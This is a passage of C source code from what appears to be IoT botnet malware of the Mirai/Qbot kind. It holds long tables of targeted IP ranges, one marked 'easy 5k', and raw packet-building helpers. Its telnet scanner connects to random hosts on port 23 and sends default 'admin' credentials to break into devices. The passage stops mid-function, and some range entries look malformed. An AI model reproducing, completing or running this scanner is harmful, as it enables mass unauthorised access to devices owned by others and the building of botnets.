  2548. szprintf(ip, "41.208.%d.%d", ipState[2], ipState[3]);
  2549. }
  2550.  
  2551. if(randnum == 116)
  2552. {
  2553. szprintf(ip, "103.198.%d.%d", ipState[2], ipState[3]);
  2554. }
  2555. if(randnum == 117)
  2556. {
  2557. szprintf(ip, "88.248.%d.%d", ipState[2], ipState[3]);
  2558. }
  2559. if(randnum == 118)
  2560. {
  2561. szprintf(ip, "88.105.%d.%d", ipState[2], ipState[3]);
  2562. }
  2563. if(randnum == 119)
  2564. {
  2565. szprintf(ip, "88.247.%d.%d", ipState[2], ipState[3]);
  2566. }
  2567. if(randnum == 120)
  2568. {
  2569. szprintf(ip, "85.105.%d.%d", ipState[2], ipState[3]);
  2570. }
  2571. if(randnum == 121)
  2572. {
  2573. szprintf(ip, "188.3.%d.%d", ipState[2], ipState[3]);
  2574. }
  2575. if(randnum == 122)
  2576. {
  2577. szprintf(ip, "103.203.%d.%d", ipState[2], ipState[3]);
  2578. }
  2579. if(randnum == 123)
  2580. {
  2581. szprintf(ip, "103.55.%d.%d", ipState[2], ipState[3]);
  2582. }
  2583. if(randnum == 124)
  2584. {
  2585. szprintf(ip, "103.220.%d.%d", ipState[2], ipState[3]);
  2586. }
  2587. if(randnum == 125)
  2588. {
  2589. szprintf(ip, "183.233.%d.%d", ipState[2], ipState[3]);
  2590. }
  2591. if(randnum == 126)
  2592. {
  2593. szprintf(ip, "103.242.%d.%d", ipState[2], ipState[3]);
  2594. }
  2595. if(randnum == 127)
  2596. {
  2597. szprintf(ip, "103.198.%d.%d", ipState[2], ipState[3]);
  2598. }
  2599. if(randnum == 128)
  2600. {
  2601. szprintf(ip, "103.14.%d.%d", ipState[2], ipState[3]);
  2602. }
  2603. if(randnum == 129)
  2604. {
  2605. szprintf(ip, "103.195.%d.%d", ipState[2], ipState[3]);
  2606. }
  2607. if(randnum == 130)
  2608. {
  2609. szprintf(ip, "103.203.%d.%d", ipState[2], ipState[3]);
  2610. }
  2611. if(randnum == 131)
  2612. {
  2613. szprintf(ip, "103.214.%d.%d", ipState[2], ipState[3]);
  2614. }
  2615. if(randnum == 132)
  2616. {
  2617. szprintf(ip, "103.218.%d.%d", ipState[2], ipState[3]);
  2618. }
  2619. if(randnum == 133)
  2620. {
  2621. szprintf(ip, "103.225.%d.%d", ipState[2], ipState[3]);
  2622. }
  2623. if(randnum == 134)
  2624. {
  2625. szprintf(ip, "103.228.%d.%d", ipState[2], ipState[3]);
  2626. }
  2627. if(randnum == 135)
  2628. {
  2629. szprintf(ip, "103.231.%d.%d", ipState[2], ipState[3]);
  2630. }
  2631. if(randnum == 136)
  2632. {
  2633. szprintf(ip, "103.60.%d.%d", ipState[2], ipState[3]);
  2634. }
  2635. if(randnum == 137)
  2636. {
  2637. szprintf(ip, "103.248.%d.%d", ipState[2], ipState[3]);
  2638. }
  2639. if(randnum == 138)
  2640. {
  2641. szprintf(ip, "103.253.%d.%d", ipState[2], ipState[3]);
  2642. }
  2643. if(randnum == 139)
  2644. {
  2645. szprintf(ip, "103.255.%d.%d", ipState[2], ipState[3]);
  2646. }
  2647. if(randnum == 140)
  2648. {
  2649. szprintf(ip, "113.176.%d.%d", ipState[2], ipState[3]);
  2650. }
  2651. if(randnum == 141)
  2652. {
  2653. szprintf(ip, "113.175.%d.%d", ipState[2], ipState[3]);
  2654. }
  2655. if(randnum == 142)
  2656. {
  2657. szprintf(ip, "203.134.%d.%d", ipState[2], ipState[3]);
  2658. }
  2659. if(randnum == 143)
  2660. {
  2661. szprintf(ip, "203.210.%d.%d", ipState[2], ipState[3]);
  2662. }
  2663. if(randnum == 144)
  2664. {
  2665. szprintf(ip, "117.176.%d.%d", ipState[2], ipState[3]);
  2666. }
  2667. if(randnum == 145)
  2668. {
  2669. szprintf(ip, "117.171.%d.%d", ipState[2], ipState[3]);
  2670. }
  2671. if(randnum == 146)
  2672. {
  2673. szprintf(ip, "117.162.%d.%d", ipState[2], ipState[3]);
  2674. }
  2675. if(randnum == 147)
  2676. {
  2677. szprintf(ip, "203.150.%d.%d", ipState[2], ipState[3]);
  2678. }
  2679. if(randnum == 148)
  2680. {
  2681. szprintf(ip, "157.119.%d.%d", ipState[2], ipState[3]);
  2682. }
  2683. if(randnum == 149)
  2684. {
  2685. szprintf(ip, "43.228.%d.%d", ipState[2], ipState[3]);
  2686. }
  2687. if(randnum == 150)
  2688. {
  2689. szprintf(ip, "162.12.%d.%d", ipState[2], ipState[3]);
  2690. }
  2691. if(randnum == 151)
  2692. {
  2693. szprintf(ip, "115.220.%d.%d", ipState[2], ipState[3]);
  2694. }
  2695. if(randnum == 152)
  2696. {
  2697. szprintf(ip, "125.114.%d.%d", ipState[2], ipState[3]);
  2698. }
  2699. if(randnum == 153)
  2700. {
  2701. szprintf(ip, "112.5.%d.%d", ipState[3], ipState[4]);
  2702. }
  2703. if(randnum == 154)
  2704. {
  2705. szprintf(ip, "117.165.%d.%d", ipState[3], ipState[4]);
  2706. }
  2707. if(randnum == 155)
  2708. {
  2709. szprintf(ip, "85.3.%d.%d", ipState[3], ipState[4]);
  2710. }
  2711. if(randnum == 156)
  2712. {
  2713. szprintf(ip, "37.158.%d.%d", ipState[3], ipState[4]);
  2714. }
  2715. if(randnum == 157)
  2716. {
  2717. szprintf(ip, "95.9.%d.%d", ipState[3], ipState[4]);
  2718. }
  2719. if(randnum == 158)
  2720. {
  2721. szprintf(ip, "41.252.%d.%d", ipState[3], ipState[4]);
  2722. }
  2723. if(randnum == 159)
  2724. {
  2725. szprintf(ip, "58.71.%d.%d", ipState[3], ipState[4]);
  2726. }
  2727. if(randnum == 160)
  2728. {
  2729. szprintf(ip, "104.55.%d.%d", ipState[3], ipState[4]);
  2730. }
  2731. if(randnum == 161)
  2732. {
  2733. szprintf(ip, "78.186.%d.%d", ipState[3], ipState[4]);
  2734. }
  2735. if(randnum == 162)
  2736. {
  2737. szprintf(ip, "78.189.%d.%d", ipState[3], ipState[4]);
  2738. }
  2739. if(randnum == 163)
  2740. {
  2741. szprintf(ip, "221.120.%d.%d", ipState[3], ipState[4]);
  2742. }
  2743. if(randnum == 164)
  2744. {
  2745. szprintf(ip, "88.5.%d.%d", ipState[3], ipState[4]);
  2746. }
  2747. if(randnum == 165)
  2748. {
  2749. szprintf(ip, "41.254.%d.%d", ipState[3], ipState[4]);
  2750. }
  2751. if(randnum == 166)
  2752. {
  2753. szprintf(ip, "103.20.%d.%d", ipState[3], ipState[4]);
  2754. }
  2755. if(randnum == 167)
  2756. {
  2757. szprintf(ip, "103.47.%d.%d", ipState[3], ipState[4]);
  2758. }
  2759. if(randnum == 168)
  2760. {
  2761. szprintf(ip, "103.57.%d.%d", ipState[3], ipState[4]);
  2762. }
  2763. if(randnum == 169)
  2764. {
  2765. szprintf(ip, "45.117.%d.%d", ipState[3], ipState[4]);
  2766. }
  2767. if(randnum == 170)
  2768. {
  2769. szprintf(ip, "101.51.%d.%d", ipState[3], ipState[4]);
  2770. }
  2771. if(randnum == 171)
  2772. {
  2773. szprintf(ip, "137.59.%d.%d", ipState[3], ipState[4]);
  2774. }
  2775. if(randnum == 172)
  2776. {
  2777. szprintf(ip, "1.56.%d.%d", ipState[3], ipState[4]);
  2778. }
  2779. if(randnum == 173)
  2780. {
  2781. szprintf(ip, "1.188.%d.%d", ipState[3], ipState[4]);
  2782. }
  2783. if(randnum == 174)
  2784. {
  2785. szprintf(ip, "14.204.%d.%d", ipState[3], ipState[4]);
  2786. }
  2787. if(randnum == 175)
  2788. {
  2789. szprintf(ip, "27.0.%d.%d", ipState[3], ipState[4]);
  2790. }
  2791. if(randnum == 176)
  2792. {
  2793. szprintf(ip, "27.8.%d.%d", ipState[3], ipState[4]);
  2794. }
  2795. if(randnum == 177)
  2796. {
  2797. szprintf(ip, "27.50.%d.%d", ipState[3], ipState[4]);
  2798. }
  2799. if(randnum == 178)
  2800. {
  2801. szprintf(ip, "27.54.%d.%d", ipState[3], ipState[4]);
  2802. }
  2803. if(randnum == 179)
  2804. {
  2805. szprintf(ip, "27.98.%d.%d", ipState[3], ipState[4]);
  2806. }
  2807. if(randnum == 180)
  2808. {
  2809. szprintf(ip, "27.112.%d.%d", ipState[3], ipState[4]);
  2810. }
  2811. if(randnum == 181)
  2812. {
  2813. szprintf(ip, "27.192.%d.%d", ipState[3], ipState[4]);
  2814. }
  2815. if(randnum == 182)
  2816. {
  2817. szprintf(ip, "36.32.%d.%d", ipState[3], ipState[4]);
  2818. }
  2819. if(randnum == 183)
  2820. {
  2821. szprintf(ip, "36.248.%d.%d", ipState[3], ipState[4]);
  2822. }
  2823. if(randnum == 184)
  2824. {
  2825. szprintf(ip, "39.64.%d.%d", ipState[3], ipState[4]);
  2826. }
  2827. if(randnum == 185)
  2828. {
  2829. szprintf(ip, "42.4.%d.%d", ipState[3], ipState[4]);
  2830. }
  2831. if(randnum == 186)
  2832. {
  2833. szprintf(ip, "42.48.%d.%d", ipState[3], ipState[4]);
  2834. }
  2835. if(randnum == 187)
  2836. {
  2837. szprintf(ip, "42.52.%d.%d", ipState[3], ipState[4]);
  2838. }
  2839. if(randnum == 188)
  2840. {
  2841. szprintf(ip, "42.56.%d.%d", ipState[3], ipState[4]);
  2842. }
  2843. if(randnum == 189)
  2844. {
  2845. szprintf(ip, "42.63.%d.%d", ipState[3], ipState[4]);
  2846. }
  2847. if(randnum == 190)
  2848. {
  2849. szprintf(ip, "42.84.%d.%d", ipState[3], ipState[4]);
  2850. }
  2851. if(randnum == 191)
  2852. {
  2853. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  2854. }
  2855. if(randnum == 192)
  2856. {
  2857. szprintf(ip, "42.224.%d.%d", ipState[3], ipState[4]);
  2858. }
  2859. if(randnum == 193)
  2860. {
  2861. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  2862. }
  2863. if(randnum == 194)
  2864. {
  2865. szprintf(ip, "60.0.%d.%d", ipState[3], ipState[4]);
  2866. }
  2867. if(randnum == 195)
  2868. {
  2869. szprintf(ip, "60.16.%d.%d", ipState[3], ipState[4]);
  2870. }
  2871. if(randnum == 196)
  2872. {
  2873. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  2874. }
  2875. if(randnum == 197)
  2876. {
  2877. szprintf(ip, "62.30.%d.%d", ipState[3], ipState[4]);
  2878. }
  2879. if(randnum == 198)
  2880. {
  2881. szprintf(ip, "62.252.%d.%d", ipState[3], ipState[4]);
  2882. }
  2883. if(randnum == 199)
  2884. {
  2885. szprintf(ip, "62.254.%d.%d", ipState[3], ipState[4]);
  2886. }
  2887. if(randnum == 200)
  2888. {
  2889. szprintf(ip, "62.255.%d.%d", ipState[3], ipState[4]);
  2890. }
  2891. if(randnum == 201)
  2892. {
  2893. szprintf(ip, "77.96.%d.%d", ipState[3], ipState[4]);
  2894. }
  2895. if(randnum == 202)
  2896. {
  2897. szprintf(ip, "77.97.%d.%d", ipState[3], ipState[4]);
  2898. }
  2899. if(randnum == 203)
  2900. {
  2901. szprintf(ip, "77.98.%d.%d", ipState[3], ipState[4]);
  2902. }
  2903. if(randnum == 204)
  2904. {
  2905. szprintf(ip, "77.100.%d.%d", ipState[3], ipState[4]);
  2906. }
  2907. if(randnum == 205)
  2908. {
  2909. szprintf(ip, "77.102.%d.%d", ipState[3], ipState[4]);
  2910. }
  2911. if(randnum == 206)
  2912. {
  2913. szprintf(ip, "113.191.%d.%d", ipState[3], ipState[4]);
  2914. }
  2915. if(randnum == 207)
  2916. {
  2917. szprintf(ip, "81.100.%d.%d", ipState[3], ipState[4]);
  2918. }
  2919. if(randnum == 208)
  2920. {
  2921. szprintf(ip, "113.188.%d.%d", ipState[3], ipState[4]);
  2922. }
  2923. if(randnum == 209)
  2924. {
  2925. szprintf(ip, "113.189.%d.%d", ipState[3], ipState[4]);
  2926. }
  2927. if(randnum == 210)
  2928. {
  2929. szprintf(ip, "94.174.%d.%d", ipState[3], ipState[4]);
  2930. }
  2931. if(randnum == 211)
  2932. {
  2933. szprintf(ip, "14.160.%d.%d", ipState[3], ipState[4]);
  2934. }
  2935. if(randnum == 212)
  2936. {
  2937. szprintf(ip, "14.161.%d.%d", ipState[3], ipState[4]);
  2938. }
  2939. if(randnum == 213)
  2940. {
  2941. szprintf(ip, "14.162.%d.%d", ipState[3], ipState[4]);
  2942. }
  2943. if(randnum == 214)
  2944. {
  2945. szprintf(ip, "14.163.%d.%d", ipState[3], ipState[4]);
  2946. }
  2947. if(randnum == 215)
  2948. {
  2949. szprintf(ip, "14.164.%d.%d", ipState[3], ipState[4]);
  2950. }
  2951. if(randnum == 216)
  2952. {
  2953. szprintf(ip, "14.165.%d.%d", ipState[3], ipState[4]);
  2954. }
  2955. if(randnum == 217)
  2956. {
  2957. szprintf(ip, "14.166.%d.%d", ipState[3], ipState[4]);
  2958. }
  2959. if(randnum == 218)
  2960. {
  2961. szprintf(ip, "14.167.%d.%d", ipState[3], ipState[4]);
  2962. }
  2963. if(randnum == 219)
  2964. {
  2965. szprintf(ip, "14.168.%d.%d", ipState[3], ipState[4]);
  2966. }
  2967. if(randnum == 220)
  2968. {
  2969. szprintf(ip, "14.169.%d.%d", ipState[3], ipState[4]);
  2970. }
  2971. if(randnum == 221)
  2972. {
  2973. szprintf(ip, "14.170.%d.%d", ipState[3], ipState[4]);
  2974. }
  2975. if(randnum == 222)
  2976. {
  2977. szprintf(ip, "14.171.%d.%d", ipState[3], ipState[4]);
  2978. }
  2979. if(randnum == 223)
  2980. {
  2981. szprintf(ip, "14.172.%d.%d", ipState[3], ipState[4]);
  2982. }
  2983. if(randnum == 224)
  2984. {
  2985. szprintf(ip, "14.173.%d.%d", ipState[3], ipState[4]);
  2986. }
  2987. if(randnum == 225)
  2988. {
  2989. szprintf(ip, "14.174.%d.%d", ipState[3], ipState[4]);
  2990. }
  2991. if(randnum == 226)
  2992. {
  2993. szprintf(ip, "14.175.%d.%d", ipState[3], ipState[4]);
  2994. }
  2995. if(randnum == 227)
  2996. {
  2997. szprintf(ip, "14.176.%d.%d", ipState[3], ipState[4]);
  2998. }
  2999. if(randnum == 228)
  3000. {
  3001. szprintf(ip, "14.177.%d.%d", ipState[3], ipState[4]);
  3002. }
  3003. if(randnum == 229)
  3004. {
  3005. szprintf(ip, "14.178.%d.%d", ipState[3], ipState[4]);
  3006. }
  3007. if(randnum == 230)
  3008. {
  3009. szprintf(ip, "14.179.%d.%d", ipState[3], ipState[4]);
  3010. }
  3011. if(randnum == 231)
  3012. {
  3013. szprintf(ip, "14.180.%d.%d", ipState[3], ipState[4]);
  3014. }
  3015. if(randnum == 232)
  3016. {
  3017. szprintf(ip, "14.181.%d.%d", ipState[3], ipState[4]);
  3018. }
  3019. if(randnum == 233)
  3020. {
  3021. szprintf(ip, "14.182.%d.%d", ipState[3], ipState[4]);
  3022. }
  3023. if(randnum == 234)
  3024. {
  3025. szprintf(ip, "14.183.%d.%d", ipState[3], ipState[4]);
  3026. }
  3027. if(randnum == 235)
  3028. {
  3029. szprintf(ip, "14.184.%d.%d", ipState[3], ipState[4]);
  3030. }
  3031. if(randnum == 236)
  3032. {
  3033. szprintf(ip, "14.185.%d.%d", ipState[3], ipState[4]);
  3034. }
  3035. if(randnum == 237)
  3036. {
  3037. szprintf(ip, "14.186.%d.%d", ipState[3], ipState[4]);
  3038. }
  3039. if(randnum == 238)
  3040. {
  3041. szprintf(ip, "14.187.%d.%d", ipState[3], ipState[4]);
  3042. }
  3043. if(randnum == 239)
  3044. {
  3045. szprintf(ip, "14.188.%d.%d", ipState[3], ipState[4]);
  3046. }
  3047. if(randnum == 240)
  3048. {
  3049. szprintf(ip, "14.189.%d.%d", ipState[3], ipState[4]);
  3050. }
  3051. if(randnum == 241)
  3052. {
  3053. szprintf(ip, "14.190.%d.%d", ipState[3], ipState[4]);
  3054. }
  3055. if(randnum == 242)
  3056. {
  3057. szprintf(ip, "14.191.%d.%d", ipState[3], ipState[4]);
  3058. }
  3059. if(randnum == 243)
  3060. {
  3061. szprintf(ip, "45.121.%d.%d", ipState[3], ipState[4]);
  3062. }
  3063. if(randnum == 244)
  3064. {
  3065. szprintf(ip, "45.120.%d.%d", ipState[3], ipState[4]);
  3066. }
  3067. if(randnum == 245)
  3068. {
  3069. szprintf(ip, "45.115.%d.%d", ipState[3], ipState[4]);
  3070. }
  3071. if(randnum == 256)
  3072. {//if you hit these ranges right here then easy 5k
  3073. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  3074. }
  3075. if(randnum == 257)
  3076. {
  3077. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  3078. }
  3079. if(randnum == 258)
  3080. {
  3081. szprintf(ip, "43.240.%d.%d", ipState[3], ipState[4]);
  3082. }
  3083. if(randnum == 259)
  3084. {
  3085. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  3086. }
  3087. if(randnum == 260)
  3088. {
  3089. szprintf(ip, "41.174.%d.%d", ipState[3], ipState[4]);
  3090. }
  3091. if(randnum == 261)
  3092. {
  3093. szprintf(ip, "49.118.%d.%d", ipState[3], ipState[4]);
  3094. }
  3095. if(randnum == 262)
  3096. {
  3097. szprintf(ip, "78.188.%d.%d", ipState[3], ipState[4]);
  3098. }
  3099. if(randnum == 263)
  3100. {
  3101. szprintf(ip, "45.127.%d.%d", ipState[3], ipState[4]);
  3102. }
  3103. if(randnum == 264)
  3104. {
  3105. szprintf(ip, "103.30.%d.%d", ipState[3], ipState[4]);
  3106. }
  3107. if(randnum == 265)
  3108. {
  3109. szprintf(ip, "14.33.%d.%d", ipState[3], ipState[4]);
  3110. }
  3111. if(randnum == 266)
  3112. {
  3113. szprintf(ip, "123.16.%d.%d", ipState[3], ipState[4]);
  3114. }
  3115. if(randnum == 267)
  3116. {
  3117. szprintf(ip, "202.44.%d.%d", ipState[3], ipState[4]);
  3118. }
  3119. if(randnum == 268)
  3120. {
  3121. szprintf(ip, "116.93.%d.%d", ipState[3], ipState[4]);
  3122. }
  3123. if(randnum == 269)
  3124. {
  3125. szprintf(ip, "91.83.%d.%d", ipState[3], ipState[4]);
  3126. }
  3127. if(randnum == 270)
  3128. {
  3129. szprintf(ip, "41.253.%d.%d", ipState[3], ipState[4]);
  3130. }
  3131. if(randnum == 271)
  3132. {
  3133. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  3134. }
  3135. if(randnum == 272)
  3136. {
  3137. szprintf(ip, "113.190.%d.%d", ipState[3], ipState[4]);
  3138. }
  3139. if(randnum == 273)
  3140. {
  3141. szprintf(ip, "146.88.%d.%d", ipState[3], ipState[4]);
  3142. }
  3143. if(randnum == 274)
  3144. {
  3145. szprintf(ip, "112.196.%d.%d", ipState[3], ipState[4]);
  3146. }
  3147. if(randnum == 275)
  3148. {
  3149. szprintf(ip, "113.178.%d.%d", ipState[3], ipState[4]);
  3150. }
  3151. if(randnum == 276)
  3152. {
  3153. szprintf(ip, "112.45.%d.%d", ipState[3], ipState[4]);
  3154. }
  3155. if(randnum == 277)
  3156. {
  3157. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  3158. }
  3159. if(randnum == 278)
  3160. {
  3161. szprintf(ip, "116.71.%d.%d", ipState[3], ipState[4]);
  3162. }
  3163. if(randnum == 279)
  3164. {
  3165. szprintf(ip, "183.71.%d.%d", ipState[3], ipState[4]);
  3166. }
  3167. if(randnum == 280)
  3168. {
  3169. szprintf(ip, "192.168.%d.%d", ipState[3], ipState[4]);
  3170. }
  3171. if(randnum == 281)
  3172. {
  3173. szprintf(ip, "89.71.%d.%d", ipState[3], ipState[4]);
  3174. }
  3175. if(randnum == 282)
  3176. {
  3177. szprintf(ip, "244.77.%d.%d", ipState[3], ipState[4]);
  3178. }
  3179. if(randnum == 283)
  3180. {
  3181. szprintf(ip, "179.105.%d.%d", ipState[3], ipState[4]);
  3182. }
  3183. if(randnum == 284)
  3184. {
  3185. szprintf(ip, "125.27.%d.%d", ipState[3], ipState[4]);
  3186. }
  3187. if(randnum == 285)
  3188. {
  3189. szprintf(ip, "189.29.%d.%d", ipState[3], ipState[4]);
  3190. }
  3191. if(randnum == 287)
  3192. {
  3193. szprintf(ip, "103.57.%d.%d", ipState[3], ipState[4]);
  3194. }
  3195. if(randnum == 288)
  3196. {
  3197. szprintf(ip, "189.35.%d.%d", ipState[3], ipState[4]);
  3198. }
  3199. if(randnum == 289)
  3200. {
  3201. szprintf(ip, "189.4.%d.%d", ipState[3], ipState[4]);
  3202. }
  3203. if(randnum == 290)
  3204. {
  3205. szprintf(ip, "101.105.%d.%d", ipState[3], ipState[4]);
  3206. }
  3207. return inet_addr(ip);
  3208. }
  3209.  
  3210. int telnettestrange = 1;
  3211. in_addr_t telnettestfindARandomIP()
  3212. {
  3213. if(telnettestrange < 1 || telnettestrange > 2)
  3214. {
  3215. return getRandomPublicIP();
  3216. }
  3217. else
  3218. {
  3219. if(telnettestrange == 1){
  3220. return getRandomPublicIP();
  3221. }
  3222. else if(telnettestrange == 2)
  3223. {
  3224. return HackerScan1();
  3225. }
  3226. else
  3227. {
  3228. return HackerScan1();
  3229. }
  3230. }
  3231. }
  3232. int telnetrange = 1;
  3233. in_addr_t telnetfindARandomIP()
  3234. {
  3235. if(telnetrange < 1 || telnetrange > 2)
  3236. {
  3237. return getRandomPublicIP();
  3238. }
  3239. else
  3240. {
  3241. if(telnetrange == 1){
  3242. return getRandomPublicIP();
  3243. }
  3244. else if(telnetrange == 2)
  3245. {
  3246. return HackerScan1();
  3247. }
  3248. else
  3249. {
  3250. return HackerScan1();
  3251. }
  3252. }
  3253. }
  3254. int miraitestrange = 1;
  3255. in_addr_t miraitestfindARandomIP()
  3256. {
  3257. if(miraitestrange < 1 || miraitestrange > 2)
  3258. {
  3259. return getRandomPublicIP();
  3260. }
  3261. else
  3262. {
  3263. if(miraitestrange == 1){
  3264. return MiraiIPRanges();
  3265. }
  3266. else if(miraitestrange == 2)
  3267. {
  3268. return HackerScan1();
  3269. }
  3270. else
  3271. {
  3272. return MiraiIPRanges();
  3273. }
  3274. }
  3275. }
  3276. int mirairange = 1;
  3277. in_addr_t miraifindARandomIP()
  3278. {
  3279. if(mirairange < 1 || mirairange > 2)
  3280. {
  3281. return MiraiIPRanges();
  3282. }
  3283. else
  3284. {
  3285. if(mirairange == 1){
  3286. return getRandomPublicIP();
  3287. }
  3288. else if(mirairange == 2)
  3289. {
  3290. return HackerScan1();
  3291. }
  3292. else
  3293. {
  3294. return MiraiIPRanges();
  3295. }
  3296. }
  3297. }
  3298. in_addr_t getRandomIP(in_addr_t netmask) {
  3299. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  3300. return tmp ^ ( rand_cmwc() & ~netmask);
  3301. }
  3302. unsigned short csum (unsigned short *buf, int count) {
  3303. register uint64_t sum = 0;
  3304. while( count > 1 ) { sum += *buf++; count -= 2; }
  3305. if(count > 0) { sum += *(unsigned char *)buf; }
  3306. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  3307. return (uint16_t)(~sum);
  3308. }
  3309. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  3310. struct tcp_pseudo {
  3311. unsigned long src_addr;
  3312. unsigned long dst_addr;
  3313. unsigned char zero;
  3314. unsigned char proto;
  3315. unsigned short length;
  3316. } pseudohead;
  3317. unsigned short total_len = iph->tot_len;
  3318. pseudohead.src_addr=iph->saddr;
  3319. pseudohead.dst_addr=iph->daddr;
  3320. pseudohead.zero=0;
  3321. pseudohead.proto=IPPROTO_TCP;
  3322. pseudohead.length=htons(sizeof(struct tcphdr));
  3323. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  3324. unsigned short *tcp = malloc(totaltcp_len);
  3325. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  3326. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  3327. unsigned short output = csum(tcp,totaltcp_len);
  3328. free(tcp);
  3329. return output;
  3330. }
  3331. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) {
  3332. iph->ihl = 5;
  3333. iph->version = 4;
  3334. iph->tos = 0;
  3335. iph->tot_len = sizeof(struct iphdr) + packetSize;
  3336. iph->id = rand_cmwc();
  3337. iph->frag_off = 0;
  3338. iph->ttl = MAXTTL;
  3339. iph->protocol = protocol;
  3340. iph->check = 0;
  3341. iph->saddr = source;
  3342. iph->daddr = dest;
  3343. }
  3344. int sclose(int fd) {
  3345. if(3 > fd) return 1;
  3346. close(fd);
  3347. return 0;
  3348. }
  3349. int echo_connect(char *host, in_port_t port){
  3350. struct hostent *hp;
  3351. struct sockaddr_in addr;
  3352. int on = 1, sock;
  3353.  
  3354. if((hp = gethostbyname(host)) == NULL){
  3355. herror("gethostbyname");
  3356. exit(1);
  3357. }
  3358. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  3359. addr.sin_port = htons(port);
  3360. addr.sin_family = AF_INET;
  3361. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  3362. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  3363.  
  3364. if(sock == -1){
  3365. perror("setsockopt");
  3366. exit(1);
  3367. }
  3368.  
  3369. if(connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1){
  3370. perror("connect");
  3371. exit(1);
  3372.  
  3373. }
  3374. return sock;
  3375. }
  3376. void BCMscanner() {
  3377. int maxfds = 312, i, res, j, valopt;
  3378. int max = maxfds;
  3379. char buf[128], cur_dir;
  3380. fd_set fdset;
  3381. struct timeval tv;
  3382. socklen_t lon;
  3383. srand(time(NULL) ^ rand_cmwc());
  3384. char line[256];
  3385. char* buffer;
  3386. struct sockaddr_in dest_addr;
  3387. dest_addr.sin_family = AF_INET;
  3388. dest_addr.sin_port = htons(23);
  3389. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  3390. buffer = malloc(312 + 1);
  3391. memset(buffer, 0, 312 + 1);
  3392. struct telstate_t fds[max];
  3393. memset(fds, 0, max * (sizeof(int) + 1));
  3394. for(i = 0; i < max; i++) {
  3395. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  3396. fds[i].complete = 1;
  3397. fds[i].sockbuf = buffer; }
  3398. while(1) {
  3399. for(i = 0; i < max; i++) {
  3400. if(fds[i].tTimeout == 0) {
  3401. fds[i].tTimeout = time(NULL); }
  3402. switch(fds[i].state) {
  3403. case 0: {
  3404. if(fds[i].complete == 1) {
  3405. char *tmp = fds[i].sockbuf;
  3406. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  3407. fds[i].sockbuf = tmp;
  3408. fds[i].ip = BCMSCAN(); }
  3409. dest_addr.sin_family = AF_INET;
  3410. dest_addr.sin_port = htons(23);
  3411. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  3412. dest_addr.sin_addr.s_addr = fds[i].ip;
  3413. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  3414. if(fds[i].fd == -1) continue;
  3415. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  3416. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  3417. sclose(fds[i].fd);
  3418. fds[i].complete = 1; }
  3419. else {
  3420. fds[i].state = 1;
  3421. fds[i].tTimeout = 0;
  3422. }
  3423. }
  3424. break;
  3425. case 1: {
  3426. FD_ZERO(&fdset);
  3427. FD_SET(fds[i].fd, &fdset);
  3428. tv.tv_sec = 0;
  3429. tv.tv_usec = 10000;
  3430. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  3431. if(res == 1) {
  3432. lon = sizeof(int);
  3433. valopt = 0;
  3434. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  3435. if(valopt) {
  3436. sclose(fds[i].fd);
  3437. fds[i].state = 0;
  3438. fds[i].complete = 1;
  3439. } else {
  3440. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  3441. fds[i].tTimeout = 0;
  3442. fds[i].bufUsed = 0;
  3443. memset(fds[i].sockbuf, 0, 312);
  3444. fds[i].state = 2;
  3445. } continue; }
  3446. else if(res == -1) {
  3447. sclose(fds[i].fd);
  3448. fds[i].state = 0;
  3449. fds[i].complete = 1;
  3450. continue; }
  3451. if(fds[i].tTimeout + 6 < time(NULL)) {
  3452. sclose(fds[i].fd);
  3453. fds[i].state = 0;
  3454. fds[i].complete = 1;
  3455. }
  3456. }
  3457. break;
  3458. case 2: {
  3459. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 312, phone)) {
  3460. if(contains_fail(fds[i].sockbuf)) {
  3461. fds[i].state = 0;
  3462. } else {
  3463. fds[i].state = 3; }
  3464. continue; }
  3465. if(fds[i].tTimeout + 6 < time(NULL)) {
  3466. fds[i].state = 0;
  3467. fds[i].complete = 1;
  3468. }
  3469. }
  3470. break;
  3471. case 3: {
  3472. if(send(fds[i].fd, "admin\r\n", 7, MSG_NOSIGNAL) < 0) {
  3473. fds[i].state = 0;
  3474. fds[i].complete = 1;
  3475. continue; }
  3476. fds[i].state = 4;
  3477. }
  3478. break;
  3479. case 4: {
  3480. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 312, phone)) {
  3481. if(contains_fail(fds[i].sockbuf)) {
  3482. fds[i].state = 0;
  3483. } else {
  3484. fds[i].state = 5; }
  3485. continue; }
  3486. if(fds[i].tTimeout + 6 < time(NULL)) {
